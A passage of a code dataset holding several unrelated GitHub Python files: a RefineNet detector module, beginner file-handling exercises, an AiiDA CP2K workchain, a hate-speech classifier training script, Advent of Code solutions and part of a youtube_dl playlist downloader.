PoolingIndicatorFeatureFPN(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n spatial_scales\n ):\n \"\"\"\n Pool indicator feature for the rois. Scale the roi with a\n factor and then create a feature map with size MxM.\n If use FPN, then call. Then concancate the feature maps\n along the batch dimension\n\n Input blobs: [fpn_, ..., fpn_]\n Input rois: [mask_rois_fpn, ..., mask_rois_fpn]\n\n Output blobs: rois_global_feature\n \"\"\"\n M = cfg.REFINENET.RESOLUTION\n up_scale = cfg.REFINENET.UP_SCALE\n\n k_max = cfg.FPN.ROI_MAX_LEVEL\n k_min = cfg.FPN.ROI_MIN_LEVEL\n blob_fpn_rois = [\n core.ScopedBlobReference(blob_rois+'_fpn'+str(lvl))\n for lvl in range(k_min, k_max+1)\n ]\n\n scales = []\n blobs_in_list = []\n for lvl in range(k_min, k_max+1):\n blob_in = blobs_in[k_max - lvl] # reversed order\n scales.append(spatial_scales[k_max - lvl]) # reversed order\n blob_fpn_roi = blob_fpn_rois[lvl - k_min]\n blobs_in_list.append(blob_in)\n blobs_in_list.append(blob_fpn_roi)\n\n name = 'PoolingIndicatorFeatureFPNOp: ' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n # ignore gradient for 'blob_rois'\n grad_input_indices = [2*(i-k_min) for i in range(k_min, k_max+1)]\n #grad_input_indices=[]\n\n blob_fpn_dumplicate_out = [\n core.ScopedBlobReference(blob_out+'_fpn'+str(lvl))\n for lvl in range(k_min, k_max+1)\n ]\n\n #Rescale and Dumplicate FPN feature\n blob_dumplicate_list = self.net.Python(\n PoolingIndicatorFeatureFPNOp(k_min,k_max,scales,up_scale,M).forward,\n PoolingIndicatorFeatureFPNOp(k_min,k_max,scales,up_scale,M).backward,\n grad_input_indices=grad_input_indices\n )(blobs_in_list, blob_fpn_dumplicate_out, name=name)\n\n # The pooled features from all levels are concatenated along the\n # batch dimension into a single 4D tensor.\n xform_shuffled, _ = self.net.Concat(\n blob_dumplicate_list, [blob_out + '_shuffled', '_concat_' + blob_out],\n axis=0\n )\n # Unshuffle to match rois from dataloader\n restore_bl = core.ScopedBlobReference(blob_rois + '_idx_restore_int32')\n xform_out = self.net.BatchPermutation(\n [xform_shuffled, restore_bl], blob_out\n )\n\n return xform_out\n\n def RescaleFeatureMap(\n self,\n blobs_in,\n blob_out,\n dim_in,\n rescale_factor,\n spatial_scale=1. / 16.,\n sampling_ratio=0\n ):\n \"\"\" Rescale the feature map to a rescale_factor size.\n If use FPN, then rescale each FPN to a fixed size and\n concat them together.\n\n Else, pass the feature map.\n \"\"\"\n\n method = 'RescaleFeatureMap'\n # get the output size\n dim_out = 0\n blob_data = core.ScopedBlobReference('data')\n\n if isinstance(blobs_in, list):\n # FPN case\n k_max = cfg.FPN.ROI_MAX_LEVEL # coarsest level of pyramid\n k_min = cfg.FPN.ROI_MIN_LEVEL # finest level of pyramid\n assert len(blobs_in) == k_max - k_min + 1\n\n bl_out_list = []\n for lvl in range(k_min, k_max+1):\n dim_out += dim_in\n bl_in = blobs_in[k_max - lvl] # reversed order\n sc = spatial_scale[k_max - lvl] # reversed order\n bl_rois = 'img_rois'\n bl_out = blob_out + '_fpn' + str(lvl)\n bl_out_list.append(bl_out)\n self.net.__getattr__(method)(\n [bl_in, bl_rois, blob_data], [bl_out],\n spatial_scale=sc,\n rescale_factor=rescale_factor,\n sampling_ratio=sampling_ratio\n )\n xform_out, _ = self.net.Concat(\n bl_out_list, [blob_out, '_concat_' + blob_out],\n axis=1\n )\n else:\n # Single feature level\n dim_out = dim_in\n # sampling_ratio is ignored for RoIPoolF\n xform_out = self.net.__getattr__(method)(\n [blobs_in, blob_rois], [blob_out],\n spatial_scale=spatial_scale,\n rescale_factor=rescale_factor,\n sampling_ratio=sampling_ratio\n )\n\n return xform_out, dim_out\n\n def GenerateAutoLearningIndicators(\n self,\n blobs_in,\n blob_out,\n blob_rois,\n up_scale,\n resolution\n ):\n \"\"\" Generate Indicators. Implemented in C++ and CUDA.\n The forward function is similar to GenerateLocalMaskIndicators.\n But This operator adds a backward function to allow e2e learning.\n The indicator here acts as an intermediate feature.\n blobs_in: mask_fcn_logits\n blob_out: mask_indicators\n\n op input: X, R, Data\n op output: Y\n \"\"\"\n method = 'GenerateIndicators'\n\n blob_in_list = [blobs_in, blob_rois, 'data']\n blob_out = self.net.__getattr__(method)(\n blob_in_list, [blob_out],\n up_scale=float(up_scale),\n resolution=resolution\n )\n return blob_out\n\n def GenerateGlobalMaskIndicators(\n self,\n blobs_in,\n blob_out,\n blob_rois='mask_rois',\n dst_spatial_scale=1/16.\n ):\n \"\"\" Add mask indicators to the refine network. It maps the\n 'mask_probs' into the input images' space, and narrow it down\n by the value 'scale'\n\n Input blobs: [data, mask_probs]\n Input rois: mask_rois\n Output blob: mask_indicators\n \"\"\"\n blob_rois = core.ScopedBlobReference(blob_rois) # refer blob_rois\n blobs_in_list = blobs_in + [blob_rois]\n name = 'GenerateMaskIndicatorsOp:' + ','.join(\n [str(b) for b in blobs_in_list]\n )\n blob_out = core.ScopedBlobReference(blob_out)\n grad_input_indices=[0] # ignore gradient for blob_rois\n\n xform_out = self.net.Python(\n GenerateGlobalMaskIndicatorsOp(scale=dst_spatial_scale).forward,\n GenerateGlobalMaskIndicatorsOp(scale=dst_spatial_scale).backward,\n grad_input_indices=grad_input_indices\n )(blobs_in_list, blob_out, name=name)\n return xform_out\n\n\ndef _get_lr_change_ratio(cur_lr, new_lr):\n eps = 1e-10\n ratio = np.max(\n (new_lr / np.max((cur_lr, eps)), cur_lr / np.max((new_lr, eps)))\n )\n return ratio\n","repo_name":"xieshuqin/RefineNet","sub_path":"lib/modeling/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":44685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"36119957268","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 13 18:12:46 2016\n\n\"\"\"\nfhand = open(r'C:\\Users\\imucy_000\\Desktop\\HK1\\Git\\Python\\Homework5\\mbox-short.txt')\ncount = 0\nfor fh in fhand :\n words = fh.split()\n if len(words) != 0 and words[0] == 'From' :\n print (words[1])\n count=count+1\n \nprint (\"There were\" , count, \"lines in the file with From as the first word\") \n","repo_name":"iuh-nhom22/Python","sub_path":"Homework5/bai4.py","file_name":"bai4.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16595138400","text":"\"\"\"\r\nExercícios\r\n\"\"\"\r\n\r\nimport string\r\nfrom datetime import date\r\n\r\n# 1.0\r\narquivo = open(\"arq.txt\")\r\nprint(arquivo.read())\r\narquivo.close()\r\n\r\n# 2.0\r\narquivo = open(\"arq.txt\")\r\nprint(len(arquivo.readlines()))\r\narquivo.close()\r\n\r\n# 3.0\r\nnumero_vogais = 0\r\narquivo = open(\"arq.txt\")\r\nfor n in arquivo.read():\r\n if n == 'a' or n == 'e' or n == 'i' or n == 'o' or n == 'u':\r\n numero_vogais += 1\r\nprint(numero_vogais)\r\n\r\n# 4.0\r\nnumero_vogais = 0\r\nnumero_consoantes = 0\r\nwith open(\"arq.txt\") as arquivo:\r\n for n in arquivo.read():\r\n if n == 'a' or n == 'e' or n == 'i' or n == 'o' or n == 'u':\r\n numero_vogais += 1\r\n if n == 'b' or n == 'c' or n == 'd' or n == 'f' or n == 'g' or n == 'h':\r\n numero_consoantes += 1\r\nprint(numero_vogais)\r\nprint(numero_consoantes)\r\n\r\n\r\n# 5.0 (copiado e colado)\r\ndef busca(arq, caractere):\r\n try:\r\n with open(arq, 'r+', encoding='UTF-8') as arquivo_atual:\r\n caracteres = []\r\n for i in arquivo_atual.read():\r\n if caractere == i:\r\n caracteres.append(caractere)\r\n return f'O caractere {caractere} aparece em {arquivo_atual.name} {len(caracteres)} vezes.'\r\n except FileNotFoundError:\r\n return 'Arquivo não encontrado.'\r\n\r\n\r\na = input('Arquivo: ')\r\nc = input('Caractere a ser buscado: ')\r\n\r\nprint(busca(a, c))\r\n\r\n# 6.0\r\ncontagem = 0\r\nconsoante = 0\r\nalfabeto = string.ascii_uppercase\r\n\r\na = input('Digite o arquivo: ')\r\nwith open(a, 'r') as arquivo_atual:\r\n lista = arquivo_atual.read()\r\n\r\n[[print(f'a letra {caracter} aparece {lista.upper().count(caracter)} vezes') for caracter in letras] for\r\n letras in alfabeto]\r\n\r\n# 7.0\r\nwith open(\"novo.txt\", \"w\") as arquivo:\r\n arquivo.write('*bcd* 0\\n')\r\n arquivo.write('fgh*')\r\n\r\n# 8.0\r\nfile1: str = input('Leia o primeiro arquivo: ')\r\nfile2: str = input('Leia o segundo arquivo: ')\r\nwith open(file1, encoding='UTF-8') as arq:\r\n texto = arq.read()\r\nwith open(file2, \"w\", encoding='UTF-8') as arq:\r\n arq.write(texto.upper())\r\n\r\n# 9.0\r\narquivo1 = \"arq.txt\"\r\narquivo2 = \"novo.txt\"\r\narquivo3 = arquivo1 + arquivo2\r\nwith open(\"uniao.txt\", \"w\") as arq3:\r\n arq3.write('abcde 0\\n')\r\n arq3.write('fghi\\n')\r\n arq3.write('*bcd* 0\\n')\r\n arq3.write('fgh*\\n')\r\n\r\n# 12.0\r\nnome_arquivo: str = input('Leia o nome do arquivo. formato nome.extensao: ')\r\ndicionario: dict = dict()\r\nwith open(f'{nome_arquivo}', 'r', encoding='UTF-8') as arquivo:\r\n caracter = str(arquivo.read())\r\n arquivo.seek(0)\r\n palavra = arquivo.read().split()\r\n arquivo.seek(0)\r\n print(f'A quantidade de caracteres: {len(caracter)}')\r\n print(f'A quantidade de linhas: {len(arquivo.readlines())}')\r\n print(f'A quantidade de palavras: {len(palavra)}')\r\n print(f'A quantidade de cada letra do alfabeto no texto(caracteres acentuados serão ignorados): ')\r\n [dicionario.update({letra: caracter.lower().count(letra)}) for letra in caracter.lower()\r\n if letra in string.ascii_letters]\r\n for key, value in sorted(dicionario.items()):\r\n print(f'{key} - {value}')\r\n\r\n# 14.0\r\narquivo = input('Leia o nome do arquivo: ')\r\nwith open(arquivo, encoding='UTF-8') as file:\r\n arq_novo = open('quantos_anos.txt', 'w', encoding='UTF-8')\r\n for linha in file.readlines():\r\n linha = linha.strip('\\n')\r\n datas = linha.split()\r\n\r\n inicio = date(int(datas[4]), int(datas[3]), int(datas[2]))\r\n final = date.today()\r\n data_final = final - inicio\r\n ano = data_final.days\r\n\r\n arq_novo.write(f'{datas[0]} tem {ano} anos')\r\n arq_novo.write('\\n')\r\n\r\n# 16.0\r\nvetor = [3, 7, 5, 4, 1, 2, 9, 6, 5, 7]\r\nwith open(\"binario.txt\", \"w\") as binario:\r\n for n in vetor:\r\n binario.write(f'{bin(n)}\\n')\r\n\r\n# 18.0\r\nsoma: int = (5 + 7 + 25 + 2)\r\nwith open(\"produtos.txt\", \"w\") as lista_produtos:\r\n lista_produtos.write('arroz: 5.00 reais\\n')\r\n lista_produtos.write('feijao: 7.00 reais \\n')\r\n lista_produtos.write('alcatra: 25.00 reais\\n')\r\n lista_produtos.write('abacaxi: 2.00 reais\\n')\r\n\r\nprint(f'{soma} reais')\r\n\r\n# 23.0\r\nwith open(\"emp.txt\", \"w\") as arquivo:\r\n arquivo.write('funcionario 1: Zelador, 1 ano\\n')\r\n arquivo.write('funcionario 2: Porteiro, 2 anos\\n')\r\n arquivo.write('funcionario 3: Assistente , 1 ano\\n')\r\n arquivo.write('funcionario 4: Chefe financeiro, 4 anos\\n')\r\n arquivo.write('funcionario 5: CEO, 5 anos anos\\n')\r\n","repo_name":"Mateus81/Py_archives","sub_path":"Ex_Seção_13.py","file_name":"Ex_Seção_13.py","file_ext":"py","file_size_in_byte":4403,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"37881479621","text":"import copy\nimport pathlib\n\nimport numpy as np\nfrom aiida import engine, orm, plugins\n\nfrom ...utils import common_utils\nfrom . import cp2k_utils\n\nCp2kBaseWorkChain = plugins.WorkflowFactory(\"cp2k.base\")\n\n\nclass Cp2kDiagWorkChain(engine.WorkChain):\n @classmethod\n def define(cls, spec):\n super().define(spec)\n\n spec.input(\"cp2k_code\", valid_type=orm.Code)\n spec.input(\"structure\", valid_type=orm.StructureData)\n spec.input(\"parent_calc_folder\", valid_type=orm.RemoteData, required=False)\n spec.input(\"dft_params\", valid_type=orm.Dict, default=lambda: orm.Dict(dict={}))\n spec.input(\n \"protocol\",\n valid_type=orm.Str,\n default=lambda: orm.Str(\"standard\"),\n required=False,\n help=\"Protocol supported by the Cp2kBaseWorkChain.\",\n )\n spec.input(\"pdos_lists\", valid_type=orm.List, required=False)\n spec.input(\"settings\", valid_type=orm.Dict, required=False)\n spec.input(\n \"options\",\n valid_type=orm.Dict,\n default=lambda: orm.Dict(\n dict={\n \"max_wallclock_seconds\": 600,\n \"resources\": {\n \"num_machines\": 1,\n \"num_mpiprocs_per_machine\": 1,\n \"num_cores_per_mpiproc\": 1,\n },\n }\n ),\n required=False,\n help=\"Define options for the cacluations: walltime, memory, CPUs, etc.\",\n )\n spec.outline(\n cls.setup,\n cls.run_ot_scf,\n cls.run_diag_scf,\n cls.finalize,\n )\n\n spec.outputs.dynamic = True\n\n spec.exit_code(\n 390,\n \"ERROR_TERMINATION\",\n message=\"One or more steps of the work chain failed.\",\n )\n\n def setup(self):\n self.report(\"Setting up workchain\")\n self.ctx.files = {\n \"basis\": orm.SinglefileData(\n file=pathlib.Path(__file__).parent / \"data\" / \"BASIS_MOLOPT\",\n ),\n \"pseudo\": orm.SinglefileData(\n file=pathlib.Path(__file__).parent / \"data\" / \"POTENTIAL\",\n ),\n }\n\n structure = self.inputs.structure\n self.ctx.n_atoms = len(structure.sites)\n\n self.ctx.dft_params = self.inputs.dft_params.get_dict()\n\n # Resources.\n self.ctx.options = self.inputs.options.get_dict()\n\n # Get cutoff.\n self.ctx.cutoff = cp2k_utils.get_cutoff(structure=structure)\n\n # Overwrite cutoff if given in dft_params.\n if \"cutoff\" in self.ctx.dft_params:\n self.ctx.cutoff = self.ctx.dft_params[\"cutoff\"]\n\n # Get initial magnetization.\n magnetization_per_site = [0 for i in range(len(self.inputs.structure.sites))]\n if \"uks\" in self.ctx.dft_params and self.ctx.dft_params[\"uks\"]:\n magnetization_per_site = self.ctx.dft_params[\"magnetization_per_site\"]\n\n structure_with_tags, kinds_dict = cp2k_utils.determine_kinds(\n structure, magnetization_per_site\n )\n self.ctx.structure_with_tags = structure_with_tags.get_ase()\n self._handle_periodicity(self.ctx.structure_with_tags)\n\n self.ctx.kinds_section = cp2k_utils.get_kinds_section(\n kinds_dict, protocol=\"gpw\"\n )\n\n def _handle_periodicity(self, structure):\n if self.ctx.dft_params[\"periodic\"] == \"NONE\":\n # Make sure cell is big enough for MT poisson solver and center positions.\n if self.inputs.protocol == \"debug\":\n extra_cell = 9.0 # Angstrom.\n else:\n extra_cell = 15.0 # Angstrom.\n structure.cell = 2 * (np.ptp(structure.positions, axis=0)) + extra_cell\n structure.center()\n\n def run_ot_scf(self):\n self.report(\"Running CP2K OT SCF\")\n\n # Load input template.\n input_dict = cp2k_utils.load_protocol(\n \"scf_ot_protocol.yml\", self.inputs.protocol.value\n )\n\n # Set workflow inputs.\n builder = Cp2kBaseWorkChain.get_builder()\n builder.cp2k.code = self.inputs.cp2k_code\n builder.cp2k.structure = orm.StructureData(ase=self.ctx.structure_with_tags)\n\n builder.cp2k.file = self.ctx.files\n # restart wfn\n if \"parent_calc_folder\" in self.inputs:\n builder.cp2k.parent_calc_folder = self.inputs.parent_calc_folder\n\n if \"charge\" in self.ctx.dft_params:\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"CHARGE\"] = self.ctx.dft_params[\"charge\"]\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"XC\"].pop(\"VDW_POTENTIAL\")\n\n # POISSON_SOLVER\n if self.ctx.dft_params[\"periodic\"] == \"NONE\":\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"POISSON\"][\"PERIODIC\"] = \"NONE\"\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"POISSON\"][\"POISSON_SOLVER\"] = \"MT\"\n\n # UKS\n if self.ctx.dft_params[\"uks\"]:\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"UKS\"] = \".TRUE.\"\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"MULTIPLICITY\"] = self.ctx.dft_params[\n \"multiplicity\"\n ]\n\n # CUTOFF.\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"MGRID\"][\"CUTOFF\"] = self.ctx.cutoff\n\n # KINDS section\n cp2k_utils.dict_merge(input_dict, self.ctx.kinds_section)\n\n # Setup walltime.\n input_dict[\"GLOBAL\"][\"WALLTIME\"] = 86000\n\n builder.cp2k.metadata.options = self.ctx.options\n\n # Parser.\n builder.cp2k.metadata.options.parser_name = \"cp2k_advanced_parser\"\n\n # CP2K input dictionary.\n builder.cp2k.parameters = orm.Dict(input_dict)\n self.ctx.input_dict = copy.deepcopy(input_dict)\n\n future = self.submit(builder)\n self.to_context(ot_scf=future)\n\n def run_diag_scf(self):\n self.report(\"Running CP2K diagonalization SCF\")\n if not common_utils.check_if_calc_ok(self, self.ctx.ot_scf):\n return self.exit_codes.ERROR_TERMINATION\n\n # Load input template.\n scf_dict = cp2k_utils.load_protocol(\n \"scf_diag_protocol.yml\", self.inputs.protocol.value\n )\n\n input_dict = copy.deepcopy(self.ctx.input_dict)\n if self.ctx.dft_params[\"elpa_switch\"]:\n input_dict[\"GLOBAL\"][\"PREFERRED_DIAG_LIBRARY\"] = \"ELPA\"\n input_dict[\"GLOBAL\"][\"ELPA_KERNEL\"] = \"AUTO\"\n input_dict[\"GLOBAL\"][\"DBCSR\"] = {\"USE_MPI_ALLOCATOR\": \".FALSE.\"}\n input_dict[\"FORCE_EVAL\"][\"DFT\"].pop(\"SCF\")\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"] = scf_dict\n if \"added_mos\" in self.ctx.dft_params:\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"][\"ADDED_MOS\"] = self.ctx.dft_params[\n \"added_mos\"\n ]\n\n # PDOS\n if \"pdos_lists\" in self.inputs:\n pdos_list_dicts = [\n {\"COMPONENTS\": \"\", \"LIST\": e} for e in self.inputs.pdos_lists\n ]\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"PRINT\"][\"PDOS\"] = {\n \"NLUMO\": self.ctx.dft_params[\"added_mos\"],\n \"LDOS\": pdos_list_dicts,\n }\n\n smearing = \"smear_t\" in self.ctx.dft_params\n if smearing and self.ctx.dft_params[\"sc_diag\"]:\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"][\"SMEAR\"][\n \"ELECTRONIC_TEMPERATURE\"\n ] = self.ctx.dft_params[\"smear_t\"]\n else:\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"].pop(\"SMEAR\")\n\n # UKS\n if (\n self.ctx.dft_params[\"uks\"]\n and smearing\n and self.ctx.dft_params[\"force_multiplicity\"]\n ):\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"][\"SMEAR\"][\"FIXED_MAGNETIC_MOMENT\"] = (\n self.ctx.dft_params[\"multiplicity\"] - 1\n )\n # no self consistent diag\n if not self.ctx.dft_params[\"sc_diag\"]:\n if (\n \"SMEAR\" in input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"]\n ): # could have been already removed if smear false and sc_diag true\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"].pop(\"SMEAR\")\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"][\"EPS_SCF\"] = \"1.0E-1\"\n input_dict[\"FORCE_EVAL\"][\"DFT\"][\"SCF\"][\"OUTER_SCF\"][\"EPS_SCF\"] = \"1.0E-1\"\n\n # Setup walltime.\n input_dict[\"GLOBAL\"][\"WALLTIME\"] = 86000\n\n builder = Cp2kBaseWorkChain.get_builder()\n builder.cp2k.code = self.inputs.cp2k_code\n builder.cp2k.structure = orm.StructureData(ase=self.ctx.structure_with_tags)\n\n builder.cp2k.file = self.ctx.files\n if \"settings\" in self.inputs:\n builder.cp2k.settings = self.inputs.settings\n\n builder.cp2k.parent_calc_folder = self.ctx.ot_scf.outputs.remote_folder\n\n builder.cp2k.metadata.options = self.ctx.options\n\n # Use the advanced parser.\n builder.cp2k.metadata.options.parser_name = \"cp2k_advanced_parser\"\n\n # CP2K input dictionary.\n builder.cp2k.parameters = orm.Dict(input_dict)\n\n self.to_context(diag_scf=self.submit(builder))\n\n def finalize(self):\n if not common_utils.check_if_calc_ok(self, self.ctx.diag_scf):\n self.report(\"diagonalization scf failed\")\n return self.exit_codes.ERROR_TERMINATION\n\n self.out(\"output_parameters\", self.ctx.diag_scf.outputs.output_parameters)\n self.out(\"remote_folder\", self.ctx.diag_scf.outputs.remote_folder)\n self.out(\"retrieved\", self.ctx.diag_scf.outputs.retrieved)\n self.report(\"Work chain is finished\")\n","repo_name":"nanotech-empa/aiida-nanotech-empa","sub_path":"aiida_nanotech_empa/workflows/cp2k/diag_workchain.py","file_name":"diag_workchain.py","file_ext":"py","file_size_in_byte":9475,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"12628693055","text":"\"\"\"\nScript to train hatespeech classifier\n\"\"\"\nimport os\nimport fire\nimport tempfile\nimport tempfile\nimport torch\nimport sys\nimport random\nfrom transformers import (\n TrainingArguments, DataCollatorWithPadding, Trainer\n)\nfrom hatedetection import load_datasets, extended_hate_categories\nfrom hatedetection.training import (\n tokenize, lengths, load_model_and_tokenizer,\n lengths, train_finegrained\n)\nfrom hatedetection.metrics import compute_extended_category_metrics\n\n\n\ndef train_finegrained_classifier(\n output_path, train_path=None, test_path=None, context='none',\n model_name = 'dccuchile/bert-base-spanish-wwm-cased',\n batch_size=32, eval_batch_size=32, output_dir=None,\n accumulation_steps=1, max_length=None, epochs=5, warmup_ratio=0.1,\n random_seed=2021, use_class_weight=False, use_dynamic_padding=True,\n ):\n\n \"\"\"\n Train fine-grained classifier\n\n Arguments:\n ----------\n\n train_path:\n Path to training data\n test_path:\n Path to test data\n\n Returns:\n --------\n\n trainer: transformers.Trainer\n \"\"\"\n print(\"*\"*80)\n print(f\"Training hate speech fine grained classifier -- {output_path}\")\n\n random.seed(random_seed)\n device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n\n\n if context not in lengths.keys():\n print(f\"{context} must be in {lengths.keys()}\")\n sys.exit(1)\n\n model, tokenizer = load_model_and_tokenizer(\n model_name, num_labels=len(extended_hate_categories), device=device,\n max_length=lengths[context],\n )\n\n if not output_dir:\n output_dir = tempfile.TemporaryDirectory().name\n\n print(f\"Uses context: {context}\")\n print(f\"Tokenizer max length: {max_length}\")\n #print(f\"Negative examples: {negative_examples_proportion}\")\n print(f\"Results dir: {output_dir}\")\n\n print(\"*\"*80, end=\"\\n\"*3)\n\n print(\"Loading datasets... \", end=\"\")\n\n\n add_body = True if \"body\" in context else False\n\n train_dataset, dev_dataset, test_dataset = load_datasets(\n train_path, test_path, add_body=add_body\n )\n\n\n \"\"\"\n # Don't do this for the time being\n\n if negative_examples_proportion is None:\n\n #Only train and test on negative examples\n train_dataset = train_dataset.filter(lambda x: x[\"HATEFUL\"] > 0)\n dev_dataset = dev_dataset.filter(lambda x: x[\"HATEFUL\"] > 0)\n test_dataset = test_dataset.filter(lambda x: x[\"HATEFUL\"] > 0)\n\n elif 0 < negative_examples_proportion <= 1:\n\n def keep_example(example):\n return (example[\"HATEFUL\"] > 0) or random.random() <= negative_examples_proportion\n\n train_dataset = train_dataset.filter(keep_example)\n # Don't filter dev and test\n\n else:\n print(f\"{negative_examples_proportion} must be between 0 and 1\")\n sys.exit(1)\n \"\"\"\n print(\"Done\")\n print(f\"Train examples : {len(train_dataset):<5} (Hateful {sum(train_dataset['HATEFUL'])})\")\n print(f\"Dev examples : {len(dev_dataset):<5} (Hateful {sum(dev_dataset['HATEFUL'])})\")\n print(f\"Test examples : {len(test_dataset):<5} (Hateful {sum(test_dataset['HATEFUL'])})\")\n\n\n trainer, test_dataset = train_finegrained(\n model, tokenizer, train_dataset=train_dataset, dev_dataset=dev_dataset, test_dataset=test_dataset,\n context=context, batch_size=batch_size, eval_batch_size=eval_batch_size,\n accumulation_steps=accumulation_steps, epochs=epochs,\n use_class_weight=use_class_weight,\n warmup_ratio=warmup_ratio,\n output_dir=output_dir,\n )\n\n print(\"\\n\"*3, \"Saving...\")\n\n trainer.save_model(output_path)\n tokenizer.save_pretrained(output_path)\n print(f\"Models saved at {output_path}\")\n\n print(\"Evaluation\")\n\n eval_training_args = TrainingArguments(\n output_dir=\".\",\n per_device_eval_batch_size=eval_batch_size,\n )\n\n\n eval_trainer = Trainer(\n model=trainer.model,\n args=eval_training_args,\n compute_metrics=lambda pred: compute_extended_category_metrics(test_dataset, pred),\n data_collator = DataCollatorWithPadding(tokenizer, padding=\"longest\") if use_dynamic_padding else None,\n )\n\n test_results = eval_trainer.evaluate(test_dataset)\n for k, v in test_results.items():\n print(f\"{k} = {v:.4f}\")\n\nif __name__ == '__main__':\n fire.Fire(train_finegrained_classifier)\n\n","repo_name":"finiteautomata/contextualized-hatespeech-classification","sub_path":"bin/train_finegrained.py","file_name":"train_finegrained.py","file_ext":"py","file_size_in_byte":4340,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"26718219114","text":"with open('day3-input', 'r') as file:\n data = [l.strip('\\n') for l in file]\n\nimport numpy as np\nfabric = np.zeros((1000, 1000), dtype=np.int32)\n\nfor line in data:\n tokens = line.split(' ')\n w, h = [int(i) for i in tokens[-1].split('x')]\n x, y = [int(i) for i in tokens[-2].rstrip(':').split(',')]\n fabric[x:x+w, y:y+h] += 1\n\nprint((fabric > 1).sum()) # Part 1\n\nfor line in data:\n tokens = line.split(' ')\n w, h = [int(i) for i in tokens[-1].split('x')]\n x, y = [int(i) for i in tokens[-2].rstrip(':').split(',')]\n if fabric[x:x+w, y:y+h].sum() == w*h:\n print(tokens[0]) # Part 2\n break\n","repo_name":"Birdulon/AdventOfCode","sub_path":"2018/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25233228740","text":"from collections import deque\n\nfrom utils import answer1, answer2, get_input\n\nANSWER1 = None\nANSWER2 = None\n\nnums = [int(num) for num in get_input(\"day_09_input\")]\n\npreamble = 25\n\nholder = deque(maxlen=preamble)\nfor num in nums[:preamble]:\n holder.append(num)\n\n\ndef is_valid(holder, num):\n for index, i in enumerate(holder):\n if index + 1 == len(holder):\n break\n for j in list(holder)[index + 1 :]:\n if i + j == num:\n holder.append(num)\n return True\n return False\n\n\nfor num in nums[preamble:]:\n if is_valid(holder, num):\n continue\n else:\n ANSWER1 = answer1(num)\n break\n\n\ndef get_weakness(nums, value):\n for index, num in enumerate(nums):\n total = num\n offset = 1\n while True:\n total += nums[index + offset]\n if total == ANSWER1:\n return min(nums[index : index + offset]) + max(\n nums[index : index + offset]\n )\n elif total > ANSWER1:\n break\n offset += 1\n\n\nANSWER2 = answer2(get_weakness(nums, ANSWER1))\n","repo_name":"scottbelden/advent_of_code_2020","sub_path":"day_09.py","file_name":"day_09.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5045720179","text":"import logging\nimport math\nimport os\n\nfrom lib_utils.file_funcs import delete_paths\n\nfrom .playlist import Playlist\nfrom .song import Song\nfrom .youtube_dl_fix import Youtube_dl_fix\n\n\nclass MyLogger(object):\n \"\"\"Logger class use by youtube_dl\"\"\"\n\n def debug(self, msg):\n print(msg)\n\n def warning(self, msg):\n print(msg)\n\n def error(self, msg):\n print(msg)\n\n\nclass YoutubePlaylist(Playlist):\n \"\"\"inits a youtube playlist instance\"\"\"\n\n def download_songs(self):\n \"\"\"Downloads songs and adds to self.songs\"\"\"\n\n # Options for the downloader\n ydl_opts = {\n 'ignoreerrors': True,\n 'age_limit': 25,\n 'retries': 3,\n 'format': 'bestaudio[asr=44100]/best',\n 'outtmpl': '_%(playlist_index)s- %(title)s.%(ext)s',\n 'postprocessors': [{\n 'key': 'FFmpegExtractAudio',\n 'preferredcodec': 'wav',\n 'preferredquality': '192',\n }],\n 'logger': MyLogger(),\n 'progress_hooks': [self.my_hook]\n }\n try:\n og = ydl_opts['outtmpl']\n for i, url in enumerate(self.urls):\n zeroes = int(math.log10(len(self.urls))) + 1\n url_indicator = \"{:0\" + str(zeroes) + \"d}\"\n url_indicator = url_indicator.format(i)\n # Download songs\n ydl_opts['outtmpl'] = self.dl_path + \"/\" + url_indicator + og\n logging.debug(f\"path fmt is {ydl_opts['outtmpl']}\")\n with Youtube_dl_fix(ydl_opts) as ydl:\n ydl.download([url])\n except Exception as e:\n print(f\"dl songs {e}\")\n logging.warning(f\"Video download failed. Probably webm file {e}\")\n\n def my_hook(self, d):\n \"\"\"What happens when a song is downloaded\"\"\"\n\n name = d['filename'].rsplit('.', 1)[0]\n if d['status'] == 'finished':\n logging.info(f'Done downloading {name}')\n song = Song(d['filename'], name)\n # Makes sure that the song downloaded and has volume\n if os.path.exists(song.path):\n if song.volume > -float('Inf'):\n self.songs.append(song)\n else:\n logging.warning(f\"{name} has no volume. Not including\")\n delete_paths(song.path)\n # If it didn't download don't include it\n else:\n logging.warning(f\"{name} didn't download 